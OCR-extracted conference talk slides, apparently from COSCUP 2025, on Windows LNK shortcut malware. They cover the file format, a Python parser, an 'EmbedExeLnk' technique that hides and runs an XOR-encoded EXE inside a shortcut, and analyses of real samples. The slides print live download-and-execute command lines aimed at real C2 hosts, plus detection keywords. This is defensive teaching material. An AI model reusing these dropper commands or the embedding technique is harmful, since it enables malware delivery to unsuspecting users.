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Outline

e Motivation

e LNK file Introduction
o structure

e EmbedExelLnk

e Malware analyze

e Conclusion
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Motivation

e 2025 CyberSec
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Motivation

e 2025 CyberSec
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LNK file Introduction
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What's LNK Malware Attack

e Hidden payload inside

e First stage attack

e (onnectto C2, get other files
e Use LOLBins
o Click=@
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What's LNK File

) Discord - RE

e An object access another object —

Discord

I I =(T): \Discord\Update.exe --processStart Discord.exe
. L] n ( -

ars\betan\AppData'Local\Discord\app-1.0.9192

Discord - https://discord.com
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WHY LNK File

e \Without file extension
® customizeicon, name

e ez toprogram

‘ notepad.exe

& £/
HHEH
E=pid EE
A 63.4 KB
BEAE CAEHBE\betan\ FE\Embed...
EHE 2025/5/25 5 04:53
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e \Without file extension

ERER

® customizeicon, name

Discord

/c powershell.exe wget http://localhost:80/test.th

C:\Users\betan\AppData'\Local\Discord\app-1.0

Command Line Arguments:

=

C:\Windows\System32\cmd.exe / cj e —
powershell.exe wget http://localhost:8/test.txt -OutFile
C:\Users\betan\OneDrive\& H\LNK\hack.txt &&

C:\Users\betan\OneDrive\& E\LNK\hack.txt
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WHY LNK File

e \Without file extension

® customize icon, name
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WHY LNK File

e \Without file extension

® customizeicon, name

g hack
B hackta

. fe lt‘zg cmd (C: \Wmdows\System?»Z)
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LNK Attack Example
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https://docs.google.com/file/d/1tEXNPx5iYy6dTOzQLO5yvqaWJiWV19kE/preview

LNK File Format

e Header —> TargetIDList(optional) —> Linkinfo(optional) —>
StringData(optional) —> ExtraData(optional)

e Little endian

/] Discord.Ink

Off



https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943

LNK File Format

2.1 ShellLinkHeader

The ShellLinkHeader structure contains identification information, timestamps, and flags that specify
the presence of optional structures, including LinkTargetIDList (section 2.2), LinkInfo (section 2.3),
and StringData (section 2.4).

HeaderSize (4 bytes): The size, in bytes, of this structure. This value MUST be 0x0000004C.

LinkCLSID (16 bytes): A class identifier (CLSID). This value MUST be 00021401-0000-0000-
C000-000000000046.

LinkFlags (4 bytes): A LinkFlags structure (section 2.1.1) that specifies information about the shell
link and the presence of optional portions of the structure.

FileAttributes (4 bytes): A FileAttributesFlags structure (section 2.1.2) that specifies information
about the link target.

CreationTime (8 bytes): A FILETIME structure ([MS-DTYP] section 2.3.3) that specifies the creation
time of the link target in UTC (Coordinated Universal Time). If the value is zero, there is no
creation time set on the link target.

AccessTime (8 bytes): A FILETIME structure ([MS-DTYP] section 2.3.3) that specifies the access
time of the link target in UTC (Coordinated Universal Time). If the value is zero, there is no access
time set on the link target.

WriteTime (8 bytes): A FILETIME structure ([MS-DTYP] section 2.3.3) that specifies the write time
of the link target in UTC (Coordinated Universal Time). If the value is zero, there is no write time
set on the link target.

FileSize (4 bytes): A 32-bit unsigned integer that specifies the size, in bytes, of the link target. If the
link target file is larger than OXFFFFFFFF, this value specifies the least significant 32 bits of the link
target file size.

kinfo(optional) —>

N O 9N Oon

AppData...t.
OH.qg.3%i (°Afaa¥g
VA%GACKAY.@.....
i%8ZE8NZQ-...." .
B L B
cieo2U%:a
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https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943

LNK File Format

e Header —> TargetIDList(optional) —> Linkinfo(optional) —>
(optional) —> ExtraData(optional)

e Little endian

/] Discord.Ink

Off



https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943

LNK File Format

e Header: Defining the structure
e TargetiDList(optional): use Shell Namespace to encode path
e Linkinfo(optional): VolumelD, LocalBasePath...

e StringData(optional): NAME_STRING, RELATIVE_PATH...

e ExtraData(optional): ExtraDataBlock, ExtraDataBlock...
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Header

e /6 bytes

"B
HeaderSize
LinkCLSID
LinkFlags
FileAttributes
CreationTime
AccessTime
WriteTime
FileSize
Iconindex
ShowCommand
HotKey
Reserved1
Reserved2

Reserved3

bytes

16
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ElZ£0x0000004C
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"B
HeaderSize
LinkCLSID
LinkFlags
FileAttributes
CreationTime
AccessTime
WriteTime
FileSize
Iconindex
ShowCommand
HotKey
Reserved1
Reserved2

Reserved3

bytes

16

AE

ElZ£0x0000004C
[ElZ£0x00021401-0000-0000-C000-000000000046
EREESH(L2)
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LinkFlags

e defines bits that
specify which
shell link

structures

32: LinkFlagsA &

RH

HasLinkTargetIDList

HasLinkInfo

HasName

HasRelativePath

HasWorkingDir

HasArguments

HasIconLocation

IsUnicode

ForceNoLinkInfo

Value
(Hex)

0x00000001

0x00000002

0x00000004

0x00000008

0x00000010

0x00000020

0x00000040

0x00000080

0x00000100

IEHE2EBE LinkTargetIDList ©
HHEREE LinkInfo &8 -

BHEEE8E8BMFE (StringData

th

EHEE 85 HEEREFE(StringData
th

EHEEEE T FEEF S (StringData
Bl

BHEEEESwmIISEFE
(StringData &) -

Bt EE8sERIEF S (StringData
210

FEfEHA Unicode &= (StringData

) -
2B LinkInfo A » @%

B/,
Bt R - =Ly



LinkFlags

e LinkFlags: 9BO0O080O

9B000800
= 0x0008009B
= 1000 0000 0000 1001 1011 — ['HasLinkTargetlIDList', 'HasLinkInfo’,

'‘HasRelativePath', '"HasWorkingDir', 'IsUnicode’, 'EnableTargetMetadata']

1 2 3
112|3|4]|5 7 ONRLN|E2Z0IES 5 7 0[1[2(3 5 7 0|1
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StringData

NAME_STRING, RELATIVE_PATH, WORKING_DIR,

COMMAND_LINE_ARGUMENTS,

ICON_LOCATION

defined according to the LinkFlags

2 bytes Size, String (variable)

HIEE

, the length will be
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StringData

e NAME_STRING: S¥#IZHFINE

e RELATIVE_PATH: BiEfEEAIE

e WORKING_DIR: $1{TH#hE}

° : HEEMRSTANE

e ICON_LOCATION: BER{GIE
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StringData

e |sUnicode, HasRelativePath, HasWorkingDir

e HasArguments

Command Line Arguments:
C:\Windows\System32\cmd.exe /c
powershell.exe wget
http://localhost:80/test.txt -OutFile
C:\Users\betan\OneDrive\& &
\LNK\hack.txt &&
C:\Users\betan\OneDrive\& M
\LNK\hack.txt

|8] Discord.Ink

i8] hackInk

00 2E 00

00 5C 00
00 69 00
00 79 00
00 63 00
00 43 00
00 5C 00
0

2E
6E
73
6D
34
62

00 5C 00 2I

00 2E 00
00 64 00
00 74 00
00 64 00
00 5C 00
00 65 00




LNK File Format
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LNK File Format
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LNK Structure Reader

" "

if __name__ == "__main_ ":
if len(sys.argv) < 2:
print("FAHEA .1lnk EEBRTEESSY")

sys.exit(1)
Ink_path = sys.argv[1]

with open(lnk_path, 'rb') as f:
data = f.read()

result = read_lnk_structure(data)

for k, v in result.items():
print(f"{k}: {v}")

now = 76
if 'HaslLinkTargetIDList' in (result['LinkFlags']):
print('--- has TargetIDList ---')

now = LinkTargetIDList(data)
print(now)

if 'HasLinkInfo' in (result['LinkFlags']):

print('--- has HaslLinkInfo ---"')
now = HaslLinkInfo(data,now)
print (now)

PS C:\Users\betan> & C:/Users/betan/AppData/Local/Microsoft/WindowsApps/python3.12.exe c:/Users/betan/OneDrive/S[H /Code/LNK.py
HeaderSize_Valid: True

LinkFlags: ['HasLinkTargetIDList', ‘HasLinkInfo', ‘HasRelativePath', ‘HasWorkingDir®', ‘IsUnicode', 'EnableTargetMetadata']
FileAttributesFlags: ['FILE_ATTRIBUTE_ARCHIVE']

HotKey: ('A', 'SHIFT ALT ')

--- has TargetIDList ---

item 1: \x14\x00\x1f\x50\xed\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d

item 2: \x19\x00\x2f\x43\x3a\x5c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

item 3: \x56\x00\x31\x00\x00\x00\x00\x00\x89\x5a\x0b\x8d\x10\x00\x57\x69\x6e\x64\x6f\x77\x73\x00\x40\x00\x09\x00\x04\x00\xef\xbe
0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xT9\xd6\x9b\x00\x57\x00 \x69 \x00\x6e \x00\x64 \x00 \x6 1 \x00\x77\x€
item 4: \x62\x00\x32\x00\x00\x80\x05\x00\x89\x5a\x4b\x22\x20\x00\x6e\x6f\x74\x65\x70\x61\x64\x2e \x65\x78\x65 \x00\x48\x00\x09 \x0€
e\x0c\x00\x00\x00\x0d \x00\x00\x00\x00\x00 \ x8\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x91 \x51\x39\x00\x6€ \x00\ X6 \x00\x74\x00\X65 \x€
00

309

--- has HasLinkInfo ---

LinkInfoSize size: 69

LinkInfoHeaderSize size: 28

LinkInfoFlags: VolumeIDAndLocalBasePath

VolumeIDOffset: 28

LocalBasePathOffset: 45

CommonNetworkRelativelinkOffset : @

CommonPathSuffixOffset: 68

b'C:\\Windows\\notepad.exe\x00"

378

--- has StringData ---

22

~ IsUnicode ~

if ('HasLinkInfo' or ‘HasName' or ‘HasRelativePath' or 'HasWorkingDir' or ‘HasArguments' or ‘HasIconlLocation’' in (result['LinkFlags'])):

print('--- has StringData ---')
now = HasStringData(data,now)
print (now)

if (now != hex(len(data))):
print('--- has ExtraData ---')
now = HasExtraData(data,now)

print('--- End Structure ---')
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EmbedExeLnk e

e Embed an EXE file in an LNK file
e No need to connect C2
e No "target"” content

e Fake describe

Date modified

+ FE B

Type: Text Document
£ Me Size: 5.23 KB
Date modified: 01/02/2020 11:23
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EmbedExeLnk

e¢ (Command line arguments:
/c start notepad C:\\%%HOMEPATH%%\\AppData\\Local\\Google\\Chrome\\User
Data\\ZxcvbnData\\3\\passwords.txt &&
powershell -windowstyle hidden
$Inkpath = Get-Childltem *.Ink "| where-object {$_.length -eq 0x0000FDD6} "|

Select-Object -ExpandProperty Name;

$file = gc $Inkpath -Encoding Byte;

for($i=0; $i -It $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 };
$path = '%%temp%%\\tmp' + (Get-Random) + '.exe’;
sc $path ([byte[]]($file "| select -Skip 003030)) -Encoding Byte; "& $path;
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EmbedExelLnk - Example
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https://docs.google.com/file/d/1UY4a_WfH9wvGqT5q4v_aZexf_Niohh7F/preview

EmbedExeLnk

e LinkFlags
change describtion
set command line

change icon

o HasExp5tring

o PreferEnvironmentPath

i
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EmbedExeLnk - Header

e Most of them are unimportant

® SojustsetthemtoO

0l 14 02 00 00 00 00 00 CO 00 QO

E4 02
00 00

00 02 00

00 00 00 00 00 00 00

00 00 00

00

L
00

00 00 00

00 00 00

00
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EmbedExeLnk - StringData

e NAME_STRING

e IsUnicode, So size need double. 0x41 *2 = 0x82

000
[ R e B~ ]

(]
o

-~
lJ AJ
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EmbedExeLnk - StringData

e COMMAND_LINE_ARGUMENTS

i8] testInk

BENBRE

20 20
00 20 00 20 00 20 00 20 00 20 00 20 00 20
00 20 00 20 00 20 00 20 00 20 00 20 00 20
00 20 00 20 00 20 00 20 00 20 00 20 00 20 00
00 20 00 20 00 20 00 20 00 20

00 20 00 20 00
00 20 00 20 00 20 00 20 00 20 o
00 20 00 20 00 20 00 20 00 20 ERIER T —HEZE
00 20 00 20 00 20 00 20 00 20
00 20 00 20 00 20 0o 20 oo 20 ANUEA RA—I 0x20
00 20 00 20 00 20 00 20 00 20 wv o vo wo wv
nn 20 ano 20 a0 20 an 20 a0 20 an 20 an 20 nn.
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EmbedExeLnk - StringData

e ICON_LOCATION




EmbedExeLnk - ExtraData

e ENVIRONMENT_PROPS

i8] test.Ink
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EmbedExeLnk - Exe file

e after xor Ox77
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Malware analyze
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e PuppetFox, RolandSkimmer, Confucius

o 3d8db6e02bd11a4366b02bfb94593ff410d183a94134933121c806a5f175f8a3
o 86fedcd08d32eeff8ad4caa9c2d4aeb65bb6cea89698570e8ce172ad4e82c7f29611

o 4206ab83ac9781c8367d8675292193625573c2aaacf8feeaddd5b0cc9136d2d1

e Scanned-Doc-t00778886867-QUO.LNK

o 3107d53f9e37c496f08e3742c379976a80f7297c192aba5b8eb7c5f29af18f33
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PuppetFox, RolandSkimmer, Con...

e 2025 Cybersec
e No sample qq

e Use Virustotal to check
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How to checkin VT

Q  3d8db6e02bd11a4366b02bfb94593ff410d183294134933121c806a5f175f8a3

(D) 35/63 security vendors flagged this file as malicious

3d8db6e02bd11a4366b02bfb94593ff410d183294134933121c806a5f175f8a3

Patent certificate 02.Ink

Community
Score Ink  hiding-window  long-sleeps  url-pattern  idle  detect-debug-environment
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 3

long-command-line-arguments

r
'
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How to checkin VT

LnkInfo ©

Metadata

Creation date

Access date

Modification date

Target path

Target working directorv
Command line arguments

LNAFlags

Header

Hot key
Show window

Link Target Id List

+ CLSID_ShellDesktop

1970-01-01T00:00:00Z
1970-01-01T00:00:00Z
1970-01-01T00:00:00Z

My Computer (Computer) : C:\wINdOwS\SySTeM32\MsHTa.eXe

C:/wINdOwS/SySTeM32/

vbscript:execute("set mil=createobject(""msxml2.serverxmlhttp.6.0""):mil.open ""get"",""http://invsetmx.com/ipa.aspx"",false:mil.send():randomize:r=int(rnd*99999):exe...

1as 1al gEUULISL, ISUTHLUUL, MasvwUIRITIEUIL, FIaSATBUTTIENW

(0+0)
SW_SHOWNOACTIVATE

oy
[
&

9
3
S



How to checkin VT

> VIRUSTOTAL Q

History ©

First Submissi... 2025-03-18 16:13:54 UTC

Last Submissi... 2025-03-18 16:13:54 UTC
Last Analysis 2025-05-22 08:43:36 UTC
Names ©

faktura_6514673.Ink

Lnkinfo ©

a.text-truncate

Metadata
Creation date...
Access date
Modificationd...
Target path
Target workin...
Command lin... Vbseriptiexecute("setmil:
LNK Flags

bySTeM32\MsHTa.eXe

j 'msxmi2
HasTargetIDList, IsUnicode, HasWorkingDir, HasArguments

Header
Hot key (0+0)
Show window... SW_SHOWNOACTIVATE

<

Link Target Id List
+ CLSID_ShellDesktop

iR [0 == zee FEEE S5 X TEE EEES  BEh#Eazsk Lighthouse SH&THR AdBlock
<te--o>
» <div class="hstack gap-2" style="width:100%"> @ </div> (flex Lg
<
» <div class="hstack gap-2" style="width:108%"> G </div> (Fiex
<te-m>
<te-m>
» <div class="hstack gap-2" style="width:100%"> G </div> (flex
v<div class="hstack gap-2" style="width:100%"> (fiex
<1--21it$580551830%-->
» <div class="text-truncate” style="flex:0 1 20%">(w</div>
¥<div style="flex:@ 1 80%" class="value text-truncate">
<1--21it$580551830%-->
» <vt-ui-sandbox-icon-row class="me-2">(w </vt-ui-sandbox-icon-row>
<1--21it$580551830%-->
» <a class="text-truncate™> . </a> == $8
<1--21it$5805518305-->
<a hidden></a>
<1--21it$5805518305-->
</div>
</div>
<A-mam>
<Aemm>
» <div class="hstack gap-2" style="width:100%"> G </div> (fiex
<---->
</div>
<!1--21it$580551830%-->
</div>
</vt-ui-key-val-table>
</span>
</vt-ui-expandable-entry>
<1--21it$580551830%-->
y span vt-ui-key-val-table #shadow-root divproperties divproperty-list divhstackgap-2 divvaluetext-truncate ~atext-truncate
Ioxge AEEDE L

FINRE X

@ What's new in Devlools 136

lf\q\ AP e the highliahts from Chrome 136

v

o7 A1 B | @& i X

gx  #HEsS »

Y&ho.as +, @ [
le {

.text- '
truncate {
overflow: » hidden;
text-overflow:
ellipsis;
white-space: » nowrap;

text-decoration: b
none;

.properties
.property-
list .value {
color:
M var(--vt-ui-key-va

overflow-urap:
word;

}
HARE div.property-list
e

.property-
list {

font-size: var(
--vt-ui-key-val-table
> 13px)5

}

HARE slot

a

9
N

x|

5y

8

35



How to checkin VT
GetHag

-

¥<a class="text-truncate">
» <div hidden> . </div>
<!--21it$580551830%-->
vbscript:execute("set mil=createobject(

msxml2.serverxmlhttp.6.0""):mil.open

get"",""http://invsetmx.com/ipa.aspx"",false:mil.send():randomize:r=int(rnd*999

<1--21it$580551830%-->

<a hidden></a>

<1--21it$580551830%-->
</div>

9
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PuppetFox

e Use LOLBins - Winrm, Msiexec

e (2 server contant a Malicious MSI file,

Command line arguments:

cmd.exe /c ""C:\Windows'\System32\winrm.cmd” &
start /min /b msiexec&&

start /min /B msiexec /q /i http://154.201.83.175:3989/@ /qn”

Loy

r
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RolandSkimmer
e Use LOLBins - Mshta.exe

Command line arguments:

"C: \wINdOwS\SySTeM32\MsHTa.eXe"
vbscript:execute("set mil=createobject(""msxml2.serverxmlhttp.6.0""):

mil.open ""get"",""http://invsetmx.com/ipa.aspx"",false:
mil.send():

randomize:

r=int(rnd*99999):
execute(replace(mil.responsetext,""#"", r)):")
(WiNdOW.ClOsE)

L5y

9
3
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Confucius

e Use LOLBins - powershell.exe, fixmapi.exe

e (Obfuscated payload

Command line arguments:

"powershell.exe"” -C
= :LocalAppData;
= +"'\BlueAle.exe";
Copy C:\Windows\System32\fixmapi.exe s
437,455,452 ,446,370,383,449,370,378,374,450,435,370,381,370,377,430,447,435,.
| TEX;
start -
Start-Sleep -Seconds 5;
start

5y

9
3
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Confucius

e After deobfuscation...

BEAPEINAA:

curl -o ($pa + '\mapistub.dll’) "https://petricgreen.info/RPXFD38WAPR7.rko";
$i=fenv:TMP + "\file.pdf';
curl -o $] "https://petricgreen.info/BWN9ZAP.rko";

9
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Confucius

e DIl sideloading

"powershell.exe" -C
"$pa=%$env:LocalAppData;
$c=%$pa+'\BlueAle.exe’;

Copy C:\Windows\System32\fixmapi.exe $c;

curl -o ($pa + '\mapistub.dll') "https://petricgreen.info/RPXFD38WAPR7.rko";
$j=%$env:TMP + '\file.pdf';
curl -o $j "https://petricgreen.info/BWNSZAP.rko";

$x | IEX;

start $j;

Start-Sleep -Seconds 5;
start $c"



Scanned-Doc.LNK

e Use Cloud Managed Service

e Save as program information file (PIF)

"https://link.storjshare.io/raw/jvkur67ttk7yuzdriwaa3ufnlwra/

y-newupload/newfile.txt"
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Scanned-Doc.LNK - Variants

e Use Different Cloud Managed Services

:

C:\Users\Administrator\Downloads\LNK>Inkparse -t 3b70c8da88eS5ff6addd93f70f184162eaf0a3bl07ff0d720cdc0753fc640cc32. Ink

el \Wlndo“<\3y<t8m32\W1ndo“sPo“elShe 1\vl. O\po“el<hell.exe -WindowStyle hidden -Command (new-object System.Net.WebClient).Do

Mn]oqulle( http://www.nawatbsc. Com/output/output txt', 'C:\\ProgramData\\HEW.GIF'); $file = 'C:\\ProgramData\\HEW.GIF'; [System.Co

B\elt] :FromBaseo4String((Get-Content $tile)) | Set- (ontent C:\\ProgramData\\CHROME.PIF -Encoding Byte; start C:\\ProgramData\\CHR

‘ME.PIF;

|

C:\Users\Administrator\Downloads\LNK>Inkparse -t Scanned-Doc-t00778886867-QUO.LNK. Ink

1.\ o\ \W1ndo“<\§y<t6m32\W1ndo“sPo“elShel1\\l O\powershell.exe -WindowStyle hidden -Command (ne“ object System.Net. WebC 1ent) Do

unlowdk1le( https://link.storishare.io/raw/ivkur67ttk7vuzdriwaa3ufnlwra/myv-newupload/newfile, txt', 'C:\\ProgramData\\HEW.G $fi

lied=C: \\ProolamData\\HPW GIF"; [System.Convert]::FromBase64String((Get-Content $file)) | Set- Content € \\Proalmeata\\CHROMP PIF
-Encoding Byte; start C:\\ProgramData\\CHROME.PIF:

C:\Users\Administrator\Downloads\LNK>Inkparse -t 89a94d938e5067327¢2156b2ee7d8062462f0d0b708378df45e85a2a8b75212d. Ink
}.\, \ \W1ndo“§\8y<tem32\W1ndo“<Po“elShell\\] O\powershell.exe -WindowStyle hldden -Command (new-object System.Net.WebClient).Do
p loqdklle( https://www.directdownloadlink. ru/wp- content/unloads/202§/04/1 txt', 'C:\\ProgramData\\HEW.GIF'); $file = 'C:\\ProgramD
ata\\HEW.GIF"; [System.Convert]::FromBase64String((Get-Content $tile)) | Set- Content C: \\ProgramData\\CHROME.PIF -Encoding Byte; s
Halt C:\\ProgramData\\CHROME.PIF;
( H.3.39r )
\BaUry
N =



e C(ourt order No.RY4577-71 (mandatory to comply).Ink

o 4a07b3fbfd385f067e892a385d63667ba%abd89f9d49f3736de84c94282e28e5

sy
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Court order No.RY4577-71.Ink

e Embed inink

Command line arguments:

powershell -windowstyle hidden
=[system.io.file]::ReadAllBytes((dir *.1nk ~| ? {7 .length -ge ©02
= " "ZLOCALAPPDATAZ\tmp ' + (Get-Random) + " "“.zip  ;

= [Environment]: :ExpandEnvironmentvariables( NS
= [System.TI0.Path]: :GetDirectoryName( 5
[System.IO0.File]::WriteAllBytes( = [ 3478..(
cd ; Expand-Archive
. -EA -Force ~| Out-Null;
del -EA -Force ~| Out-Null;

A& .\5.9.82.114.exe"

5y
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Court order No.RY4577-71.Ink

e Embed inink

e Without encrypto




Court order No.RY4577-71.Ink

e Embed inink

e Without encrypto







Prevention

e Structure
o VolumelD, CLSID
o StringData
e Detection
o Keyword (download, wget...)
o File size
e Machine Learning

o LinkFlags
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Conclusion

Q Small shortcuts can lead to big threats. Stay alert.
i

Tools
* LECmd: Outputs all internal fields. (JSON/CSV)
* LnkParse3: Python library tolerant to malformed LNK.

g Koy indicators powershell.exe - Execute/download payload
‘ md.exe - Execute commands
o)« Suspicious arguments. (e.g., Encoded Command, Download String) :\shl:x:xo - Download/execute HTA
. rundii32.exe - Execute DLL
Extemal icon path. (e.g., \\remote_servenicon.ico) Ao e - A
* Target is a LOLBIn. bitsadmin.exe - Downioad payloads
certulil.exe —download payloads

* Specific ID: MachinelD, DriveSerial Number, MAC address. regsvr32.exe, forfiles, ssh, fip



e COSCUP

COSCUP 2025
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EmbedExeLnk BUT Not EXE...?
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Blog:

https://betan423.github.io/posts/013 Inkresearch/
Hackmd:

https://hackmd.io/@betan/HJhUTwmkge

LNK _Structure_Reader:

https://github.com/Betan423/LNK Structure Reader

2
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https://betan423.github.io/posts/013_lnkresearch/
https://hackmd.io/@betan/HJhUTwmkge
https://github.com/Betan423/LNK_Structure_Reader

See more...?
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Thanks for listening <




